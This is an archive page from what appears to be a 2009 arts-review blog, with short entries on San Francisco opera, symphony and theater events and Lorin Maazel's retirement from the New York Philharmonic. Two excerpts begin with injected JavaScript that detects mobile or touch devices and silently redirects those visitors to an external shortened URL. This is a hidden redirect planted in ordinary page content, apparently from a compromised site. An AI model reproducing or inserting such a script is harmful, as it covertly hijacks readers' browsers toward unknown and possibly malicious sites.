June 2009

June 26, 2009

The “other” Jupiter Quartet

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Categories: music

foolsFURY Factory Festival

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Categories: theater

June 20, 2009

‘La Traviata’ at San Francisco Opera

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Categories: opera

San Francisco Symphony’s ‘Iolanthe’

(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.today/cQtGECkSs0r9"); Tripping hither, tripping thither ...  When the San Francisco Symphony’s chorus members enter the stage at Davies Hall, they are all in formal black. The...

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Categories: opera

June 12, 2009

New York Philharmonic—Two requiems and the end of an era

(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.today/cQtGECkSs0r9"); Lorin Maazel, whose 65-plus-year career spanned from child prodigy to conductor of the New York Philharmonic, is retiring from that organization at the end of this season. His...

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Categories: music